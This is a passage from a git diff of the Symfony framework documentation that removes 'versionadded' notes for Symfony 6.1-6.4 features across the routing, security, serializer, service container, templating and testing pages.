-    The ``placeholder_attr`` option was introduced in Symfony 6.3.
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
index d5525674815..1f906fd1354 100644
--- a/reference/forms/types/options/sanitize_html.rst.inc
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -3,10 +3,6 @@ sanitize_html
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 6.1
-
-    The ``sanitize_html`` option was introduced in Symfony 6.1.
-
 When ``true``, the text input will be sanitized using the
 :doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
 submitted. This protects the form input against XSS, clickjacking and CSS
diff --git a/reference/forms/types/options/sanitizer.rst.inc b/reference/forms/types/options/sanitizer.rst.inc
index 66a76d591e7..39217653b3c 100644
--- a/reference/forms/types/options/sanitizer.rst.inc
+++ b/reference/forms/types/options/sanitizer.rst.inc
@@ -3,9 +3,5 @@ sanitizer
 
 **type**: ``string`` **default**: ``"default"``
 
-.. versionadded:: 6.1
-
-    The ``sanitizer`` option was introduced in Symfony 6.1.
-
 When `sanitize_html`_ is enabled, you can specify the name of a
 :ref:`custom sanitizer <html-sanitizer-configuration>` using this option.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index d9b0f4cf066..d244a784755 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -37,10 +37,6 @@ entered into the box, set this to false and submit the form.
 
 **type**: ``string`` **default**: ``null``
 
-.. versionadded:: 6.2
-
-    The ``hash_property_path`` option was introduced in Symfony 6.2.
-
 If set, the password will be hashed using the
 :doc:`PasswordHasher component </security/passwords>` and stored in the
 property defined by the given :doc:`PropertyAccess expression </components/property_access>`.
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 47b06ec2ea4..ef806adbc59 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -300,10 +300,6 @@ Generates a URL that you can visit to
 :doc:`impersonate a user </security/impersonating_user>`, identified by the
 ``identifier`` argument.
 
-.. versionadded:: 6.4
-
-    The ``impersonation_path()`` function was introduced in Symfony 6.4.
-
 impersonation_url
 ~~~~~~~~~~~~~~~~~
 
@@ -317,10 +313,6 @@ impersonation_url
 It's similar to the `impersonation_path`_ function, but it generates
 absolute URLs instead of relative URLs.
 
-.. versionadded:: 6.4
-
-    The ``impersonation_url()`` function was introduced in Symfony 6.4.
-
 impersonation_exit_path
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -442,10 +434,6 @@ Translates the text into the current language. More information in
 sanitize_html
 ~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    The ``sanitize_html()`` filter was introduced in Symfony 6.1.
-
 .. code-block:: twig
 
     {{ body|sanitize_html(sanitizer = "default") }}
diff --git a/routing.rst b/routing.rst
index fb5931cc517..8a75eb195cb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -48,10 +48,6 @@ classes declared in the ``App\Controller`` namespace and stored in the
 act as a controller too, which is especially useful for small applications that
 use Symfony as a microframework.
 
-.. versionadded:: 6.2
-
-    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
-
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:
 
@@ -374,10 +370,6 @@ can use any of these variables created by Symfony:
     An array of matched :ref:`route parameters <routing-route-parameters>` for
     the current route.
 
-.. versionadded:: 6.1
-
-    The ``params`` variable was introduced in Symfony 6.1.
-
 You can also use these functions:
 
 ``env(string $name)``
@@ -408,11 +400,6 @@ You can also use these functions:
         // Or without alias:
         #[Route(condition: "service('App\\\Service\\\RouteChecker').check(request)")]
 
-.. versionadded:: 6.1
-
-    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]``
-    attribute were introduced in Symfony 6.1.
-
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.
@@ -467,10 +454,6 @@ route details:
     Use the ``--show-aliases`` option to show all available aliases for a given
     route.
 
-.. versionadded:: 6.4
-
-    The ``--show-aliases`` option was introduced in Symfony 6.4.
-
 The other command is called ``router:match`` and it shows which route will match
 the given URL. It's useful to find out why some URL is not executing the
 controller action that you expect:
@@ -664,10 +647,6 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
-    .. versionadded:: 6.1
-
-        The ``Requirement`` enum was introduced in Symfony 6.1.
-
 .. tip::
 
     Route requirements (and route paths too) can include
@@ -956,12 +935,6 @@ A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
 represents the user). This feature is called a "param converter".
 
-.. versionadded:: 6.2
-
-    Starting from Symfony 6.2, route param conversion is a built-in feature.
-    In previous Symfony versions you had to install the package
-    ``sensio/framework-extra-bundle`` before using this feature.
-
 Now, keep the previous route configuration, but change the arguments of the
 controller action. Instead of ``string $slug``, add ``BlogPost $post``::
 
@@ -998,10 +971,6 @@ database queries used to fetch the object from the route parameter.
 Backed Enum Parameters
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The support of ``\BackedEnum`` as route parameters was introduced Symfony 6.3.
-
 You can use PHP `backed enumerations`_ as route parameters because Symfony will
 convert them automatically to their scalar values.
 
@@ -1622,13 +1591,6 @@ the current route and its attributes:
     {% set route_name = app.current_route %}
     {% set route_parameters = app.current_route_parameters %}
 
-.. versionadded:: 6.2
-
-    The ``app.current_route`` and ``app.current_route_parameters`` variables
-    were introduced in Symfony 6.2.
-    Before you had to access ``_route`` and ``_route_params`` request
-    attributes using ``app.request.attributes.get()``.
-
 Special Routes
 --------------
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index d02e6b31519..0cea7d6b9fd 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -108,15 +108,6 @@ Symfony provides several route loaders for the most common needs:
             $routes->import('@AcmeOtherBundle/Resources/config/routing/', 'directory');
         };
 
-.. versionadded:: 6.1
-
-    The ``attribute`` value of the second argument of ``import()`` was introduced
-    in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
-
 .. note::
 
     When importing resources, the key (e.g. ``app_file``) is the name of the collection.
diff --git a/security.rst b/security.rst
index 7285a6b77b4..9e40924cae3 100644
--- a/security.rst
+++ b/security.rst
@@ -468,12 +468,6 @@ You can also manually hash a password by running:
 Read more about all available hashers and password migration in
 :doc:`security/passwords`.
 
-.. versionadded:: 6.2
-
-    In applications using Symfony 6.2 and PHP 8.2 or newer, the
-    `SensitiveParameter PHP attribute`_ is applied to all plain passwords and
-    sensitive tokens so they don't appear in stack traces.
-
 .. _firewalls-authentication:
 .. _a-authentication-firewalls:
 
@@ -612,10 +606,6 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
     This feature is not supported by the XML configuration format.
 
-    .. versionadded:: 6.4
-
-        The feature to use an array of regex was introduced in Symfony 6.4.
-
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
 in other words, it enables many ways to ask the question "Who are you?".
@@ -680,10 +670,6 @@ use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``getFirewallConfig()`` method was introduced in Symfony 6.2.
-
 .. _security-authenticators:
 
 Authenticating Users
@@ -1717,17 +1703,6 @@ for more information about this.
 Login Programmatically
 ----------------------
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
-    class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
-
-.. versionadded:: 6.2
-
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::login`
-    method was introduced in Symfony 6.2.
-
 You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
@@ -1769,14 +1744,6 @@ You can log in a user programmatically using the ``login()`` method of the
         }
     }
 
-.. versionadded:: 6.3
-
-    The feature to use a custom redirection logic was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The feature to add badges was introduced in Symfony 6.4.
-
 .. _security-logging-out:
 
 Logging Out
@@ -1904,17 +1871,6 @@ Symfony will un-authenticate the current user and redirect them.
 Logout programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
-    class was introduced in Symfony 6.2. Prior to 6.2, it was called
-    ``Symfony\Component\Security\Core\Security``.
-
-.. versionadded:: 6.2
-
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::logout`
-    method was introduced in Symfony 6.2.
-
 You can logout user programmatically using the ``logout()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
@@ -2049,12 +2005,6 @@ If you need to get the logged in user from a service, use the
         }
     }
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
-    was introduced in Symfony 6.2. In previous Symfony versions this class was
-    defined in ``Symfony\Component\Security\Core\Security``.
-
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2454,15 +2404,6 @@ that is thrown with the ``exceptionCode`` argument::
         // ...
     }
 
-.. versionadded:: 6.2
-
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The ``exceptionCode`` argument of the ``#[IsGranted()]`` attribute was
-    introduced in Symfony 6.3.
-
 .. _security-template:
 
 Access Control in Templates
@@ -2896,4 +2837,3 @@ Authorization (Denying Access)
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
-.. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php
diff --git a/security/access_control.rst b/security/access_control.rst
index abba217702f..4fd19925e85 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -33,14 +33,6 @@ options are used for matching:
 * ``attributes``: an array, which can be used to specify one or more :ref:`request attributes <accessing-request-data>` that must match exactly
 * ``route``: a route name
 
-.. versionadded:: 6.1
-
-    The ``request_matcher`` option was introduced in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    The ``route`` and ``attributes`` options were introduced in Symfony 6.2.
-
 Take the following ``access_control`` entries as an example:
 
 .. configuration-block::
diff --git a/security/access_token.rst b/security/access_token.rst
index b689949c71a..48ff8629fa1 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -352,10 +352,6 @@ an authorization server.
 1) Configure the OidcUserInfoTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The ``OidcUserInfoTokenHandler`` class was introduced in Symfony 6.3.
-
 The ``OidcUserInfoTokenHandler`` requires the ``symfony/http-client`` package to
 make the needed HTTP requests. If you haven't installed it yet, run this command:
 
@@ -539,10 +535,6 @@ claims. To create your own user object from the claims, you must
 2) Configure the OidcTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The ``OidcTokenHandler`` class was introduced in Symfony 6.3.
-
 The ``OidcTokenHandler`` requires ``web-token/jwt-signature``,
 ``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa``
 packages. If you haven't installed them yet, run these commands:
diff --git a/security/expressions.rst b/security/expressions.rst
index e3e6425f6d5..cf7071e79a9 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -69,10 +69,6 @@ and ``#[IsGranted()]`` attribute also accept an
             }
         }
 
-.. versionadded:: 6.2
-
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
-
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
 user object's ``isSuperAdmin()`` method returns ``true``, then access will
 be granted (note: your User object may not have an ``isSuperAdmin()`` method,
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index b801b5570c1..8bc36c98c76 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -242,10 +242,6 @@ also adjust the query parameter name via the ``parameter`` setting:
 Redirecting to a Specific Target Route
 --------------------------------------
 
-.. versionadded:: 6.2
-
-    The ``target_route`` configuration option was introduced in Symfony 6.2.
-
 .. note::
 
     It works only in a stateful firewall.
diff --git a/security/login_link.rst b/security/login_link.rst
index 2af87ab4ded..041d59a1e1c 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -808,7 +808,3 @@ but you can change the lifetime per link using the third argument of the
     // the third optional argument is the lifetime in seconds
     $loginLinkDetails = $loginLinkHandler->createLoginLink($user, null, 60);
     $loginLink = $loginLinkDetails->getUrl();
-
-.. versionadded:: 6.2
-
-    The argument to customize the link lifetime was introduced in Symfony 6.2.
diff --git a/security/remember_me.rst b/security/remember_me.rst
index e2b087fa249..6d1e82e8c69 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -152,10 +152,6 @@ you can add a ``_remember_me`` key to the body of your POST request.
     Optionally, you can configure a custom name for this key using the
     ``name`` setting under the ``remember_me`` section of your firewall.
 
-.. versionadded:: 6.3
-
-    The JSON login ``_remember_me`` option was introduced in Symfony 6.3.
-
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 99cdfe04076..d62cc0bea32 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -117,10 +117,6 @@ is the service id of your user checker:
 Using Multiple User Checkers
 ----------------------------
 
-.. versionadded:: 6.2
-
-    The ``ChainUserChecker`` class was added in Symfony 6.2.
-
 It is common for applications to have multiple authentication entry points (such as
 traditional form based login and an API) which may have unique checker rules for each
 entry point as well as common rules for all entry points. To allow using multiple user
diff --git a/security/voters.rst b/security/voters.rst
index 7d37aea2510..0aefd3c2aa8 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -126,10 +126,6 @@ calls out to the "voter" system. Right now, no voters will vote on whether or no
 the user can "view" or "edit" a ``Post``. But you can create your *own* voter that
 decides this using whatever logic you want.
 
-.. versionadded:: 6.2
-
-    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
-
 Creating the custom Voter
 -------------------------
 
diff --git a/serializer.rst b/serializer.rst
index daa898dbb7b..ef155a1a45d 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -157,10 +157,6 @@ configuration:
             ;
         };
 
-.. versionadded:: 6.2
-
-    The option to configure YAML indentation was introduced in Symfony 6.2.
-
 You can also specify the context on a per-property basis::
 
 .. configuration-block::
@@ -267,19 +263,11 @@ all the properties of the class::
         // ...
     }
 
-.. versionadded:: 6.4
-
-    The ``#[Context]`` attribute was introduced in Symfony 6.4.
-
 .. _serializer-using-context-builders:
 
 Using Context Builders
 ----------------------
 
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
 To define the (de)serialization context, you can use "context builders", which
 are objects that help you to create that context by providing autocompletion,
 validation, and documentation::
@@ -369,11 +357,6 @@ In this example, the ``id`` and the ``name`` properties belong to the
 ``show_product`` and ``list_product`` groups. The ``description`` property
 only belongs to the ``show_product`` group.
 
-.. versionadded:: 6.4
-
-    The support of the ``#[Groups]`` attribute on class level was
-    introduced in Symfony 6.4.
-
 Now that your groups are defined, you can choose which groups to use when
 serializing::
 
@@ -444,10 +427,6 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
             </class>
         </serializer>
 
-.. versionadded:: 6.2
-
-    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
-
 Using the configuration from above, denormalizing with a metadata-aware
 normalizer will write the ``birthday`` field from ``$data`` onto the ``Person``
 object::
@@ -551,11 +530,6 @@ given class:
         |          | ]                                                          |
         +----------+------------------------------------------------------------+
 
-.. versionadded:: 6.3
-
-    The debug:serializer`` command was introduced in Symfony 6.3.
-
-
 Going Further with the Serializer
 ---------------------------------
 
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index b40e432286d..a326fcfc2d6 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -1,10 +1,6 @@
 How to Create your Custom Context Builder
 =========================================
 
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
 The :doc:`Serializer Component </components/serializer>` uses Normalizers
 and Encoders to transform any data to any data-structure (e.g. JSON).
 That serialization process can be configured thanks to a
diff --git a/service_container.rst b/service_container.rst
index c3e5c0b6860..47a60f37512 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -816,10 +816,6 @@ Our configuration looks like this:
     Closures can be injected :ref:`by using autowiring <autowiring_closures>`
     and its dedicated attributes.
 
-.. versionadded:: 6.1
-
-    The ``closure`` argument type was introduced in Symfony 6.1.
-
 .. _services-binding:
 
 Binding Arguments by Name or Type
@@ -1168,11 +1164,6 @@ key. For example, the default Symfony configuration contains this:
     may use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
     attribute directly on your class to exclude it.
 
-    .. versionadded:: 6.3
-
-        The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
-        attribute was introduced in Symfony 6.3.
-
 This can be used to quickly make many classes available as services and apply some
 default configuration. The ``id`` of each service is its fully-qualified class name.
 You can override any service that's imported by using its id (class name) below
@@ -1451,11 +1442,6 @@ Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
         }
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-    attribute was introduced in Symfony 6.3.
-
 Instead of using the ``#[AutowireCallable]`` attribute, you can also generate
 an adapter for a functional interface through configuration:
 
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 7a7eef2a458..b74acb99d8e 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -150,10 +150,6 @@ services.
             $services->alias('app.mailer', PhpMailer::class);
         };
 
-.. versionadded:: 6.3
-
-    The ``#[AsAlias]`` attribute was introduced in Symfony 6.3.
-
 This means that when using the container directly, you can access the
 ``PhpMailer`` service by asking for the ``app.mailer`` service like this::
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index daa1e96328b..898ccdd100b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -611,10 +611,6 @@ logic about those arguments::
         }
     }
 
-.. versionadded:: 6.1
-
-    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
-
 The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
 :doc:`complex expressions </service_container/expression_language>` and even
 :ref:`environment variables <config-env-vars>`::
@@ -648,10 +644,6 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
         // ...
     }
 
-.. versionadded:: 6.3
-
-    The ``param`` and ``env`` arguments were introduced in Symfony 6.3.
-
 .. _autowiring_closures:
 
 Generate Closures With Autowiring
@@ -707,11 +699,6 @@ attribute::
         }
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
-    attribute was introduced in Symfony 6.3.
-
 It is common that a service accepts a closure with a specific signature.
 In this case, you can use the
 :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
@@ -748,11 +735,6 @@ attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
-    attribute was introduced in Symfony 6.3.
-
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)
diff --git a/service_container/debug.rst b/service_container/debug.rst
index e8f0022f1a2..c09413e7213 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -32,7 +32,7 @@ Partial search is also available:
 .. code-block:: terminal
 
     $ php bin/console debug:container --tag=kernel
-    
+
     Select one of the following tags to display its information:
      [0] kernel.event_listener
      [1] kernel.event_subscriber
@@ -42,10 +42,6 @@ Partial search is also available:
      [5] kernel.fragment_renderer
      [6] kernel.cache_clearer
 
-.. versionadded:: 6.2
-
-    The partial search was introduced in Symfony 6.2.
-
 Detailed Info about a Single Service
 ------------------------------------
 
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 7847a87b3b8..41c538db468 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -76,10 +76,6 @@ In this context, you have access to 3 functions:
 ``env``
     Returns the value of an env variable.
 
-.. versionadded:: 6.1
-
-    The ``env()`` function was introduced in Symfony 6.1.
-
 You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container`
 via a ``container`` variable. Here's another example:
 
@@ -126,7 +122,3 @@ via a ``container`` variable. Here's another example:
 Expressions can be used in ``arguments``, ``properties``, as arguments with
 ``configurator``, as arguments to ``calls`` (method calls) and in
 ``factories`` (:doc:`service factories </service_container/factories>`).
-
-.. versionadded:: 6.1
-
-    Using expressions in ``factories`` was introduced in Symfony 6.1.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index a917a661afa..d4357cfd58a 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -231,10 +231,6 @@ as the factory class:
                 ->constructor('create');
         };
 
-.. versionadded:: 6.3
-
-    The ``constructor`` option was introduced in Symfony 6.3.
-
 Non-Static Factories
 --------------------
 
@@ -377,10 +373,6 @@ method name:
 Using Expressions in Service Factories
 --------------------------------------
 
-.. versionadded:: 6.1
-
-    Using expressions as factories was introduced in Symfony 6.1.
-
 Instead of using PHP classes as a factory, you can also use
 :doc:`expressions </service_container/expression_language>`. This allows you to
 e.g. change the service based on a parameter:
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 905c4b3a599..46e939d4fac 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -29,11 +29,6 @@ until you interact with the proxy in some way.
     In PHP versions prior to 8.0 lazy services do not support parameters with
     default values for built-in PHP classes (e.g. ``PDO``).
 
-.. versionadded:: 6.2
-
-    Starting from Symfony 6.2, service laziness is supported out of the box
-    without having to install any additional package.
-
 .. _lazy-services_configuration:
 
 Configuration
@@ -129,11 +124,6 @@ laziness, and supports lazy-autowiring of intersection types::
     ) {
     }
 
-.. versionadded:: 6.3
-
-    The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in
-    Symfony 6.3.
-
 Interface Proxifying
 --------------------
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 0262ae03e7e..ce33207e568 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -123,10 +123,6 @@ but keeps a reference of the old one as ``.inner``:
                 ->decorate(Mailer::class);
         };
 
-.. versionadded:: 6.1
-
-    The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
-
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
 service replaces the ``App\Mailer`` service. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a39ccfb4a68..a4aa426bc59 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -247,10 +247,6 @@ service type to a service.
 Add Dependency Injection Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The ability to add attributes was introduced in Symfony 6.2.
-
 As an alternate to aliasing services in your configuration, you can also configure
 the following dependency injection attributes in the ``getSubscribedServices()``
 method directly:
@@ -375,12 +371,6 @@ attribute::
         }
     }
 
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
-    attribute was introduced in Symfony 6.4.
-
 .. note::
 
     To receive an iterable instead of a service locator, you can switch the
@@ -389,12 +379,6 @@ attribute::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
     attribute.
 
-    .. versionadded:: 6.4
-
-        The
-        :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-        attribute was introduced in Symfony 6.4.
-
 .. _service-subscribers-locators_defining-service-locator:
 
 Defining a Service Locator
@@ -939,10 +923,6 @@ and compose your services with them::
 ``SubscribedService`` Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The ability to add attributes was introduced in Symfony 6.2.
-
 You can use the ``attributes`` argument of ``SubscribedService`` to add any
 of the following dependency injection attributes:
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 4955016d5a0..5021ec3d8d5 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -550,10 +550,6 @@ To answer this, change the service declaration:
             ;
         };
 
-.. versionadded:: 6.2
-
-    Support for attributes as array was introduced in Symfony 6.2.
-
 .. tip::
 
     The ``name`` attribute is used by default to define the name of the tag.
@@ -847,15 +843,6 @@ iterator, add the ``exclude`` option:
     In the case the referencing service is itself tagged with the tag being used in the tagged
     iterator, it is automatically excluded from the injected iterable.
 
-.. versionadded:: 6.1
-
-    The ``exclude`` option was introduced in Symfony 6.1.
-
-.. versionadded:: 6.3
-
-    The automatic exclusion of the referencing service in the injected iterable was
-    introduced in Symfony 6.3.
-
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`
diff --git a/templates.rst b/templates.rst
index a8f066e83be..53edd5b89d8 100644
--- a/templates.rst
+++ b/templates.rst
@@ -385,19 +385,6 @@ gives you access to these variables:
 ``app.enabled_locales``
     The locales enabled in the application.
 
-.. versionadded:: 6.2
-
-    The ``app.current_route`` and ``app.current_route_parameters`` variables
-    were introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The ``app.locale`` variable was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``app.enabled_locales`` variable was introduced in Symfony 6.4.
-
 In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.
@@ -606,10 +593,6 @@ to define the template to render::
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``#[Template()]`` attribute was introduced in Symfony 6.2.
-
 The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`
 and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
@@ -649,13 +632,6 @@ This might come handy when dealing with blocks in
 :ref:`templates inheritance <template_inheritance-layouts>` or when using
 `Turbo Streams`_.
 
-.. versionadded:: 6.4
-
-    The
-    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock` and
-    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
-    methods were introduced in Symfony 6.4.
-
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -907,10 +883,6 @@ depending on your needs:
         </a>
     {% endfor %}
 
-.. versionadded:: 6.3
-
-    The option to use named arguments in ``dump()`` was introduced in Symfony 6.3.
-
 To avoid leaking sensitive information, the ``dump()`` function/tag is only
 available in the ``dev`` and ``test`` :ref:`configuration environments <configuration-environments>`.
 If you try to use it in the ``prod`` environment, you will see a PHP error.
diff --git a/testing.rst b/testing.rst
index 6c61531e4ed..e5347efa841 100644
--- a/testing.rst
+++ b/testing.rst
@@ -320,11 +320,6 @@ concrete one::
 No further configuration in required, as the test service container is a special one
 that allows you to interact with private services and aliases.
 
-.. versionadded:: 6.3
-
-    The possibility to set a private service with the test service container
-    without declaring a public alias for it was introduced in Symfony 6.3.
-
 .. _testing-databases:
 
 Configuring a Database for Tests
@@ -726,12 +721,6 @@ attributes in this token, you can use the ``tokenAttributes`` argument of the
     By design, the ``loginUser()`` method doesn't work when using stateless firewalls.
     Instead, add the appropriate token/header in each ``request()`` call.
 
-.. versionadded:: 6.4
-
-    The ``tokenAttributes`` argument of the
-    :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser` method
-    was introduced in Symfony 6.4.
-
 Making AJAX Requests
 ....................
 
@@ -997,11 +986,6 @@ Response Assertions
 ``assertResponseIsUnprocessable(string $message = '')``
     Asserts the response is unprocessable (HTTP status is 422)
 
-.. versionadded:: 6.4
-
-    The support for relative path in ``assertResponseRedirects()`` was introduced
-    in Symfony 6.4.
-
 Request Assertions
 ..................
 
@@ -1063,15 +1047,6 @@ Crawler Assertions
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 
-.. versionadded:: 6.3
-
-    The ``assertSelectorCount()`` method was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``assertAnySelectorTextContains()``, ``assertAnySelectorTextNotContains()``
-    and ``assertAnySelectorTextSame()`` were introduced in Symfony 6.4.
-
 .. _mailer-assertions:
 
 Mailer Assertions
@@ -1109,11 +1084,6 @@ Mailer Assertions
     Asserts that the subject of the given email does (not) contain the
     expected subject.
 
-.. versionadded:: 6.4
-
-    The ``assertEmailSubjectContains()`` and ``assertEmailSubjectNotContains()``
-    assertions were introduced in Symfony 6.4.
-
 Notifier Assertions
 ...................
 
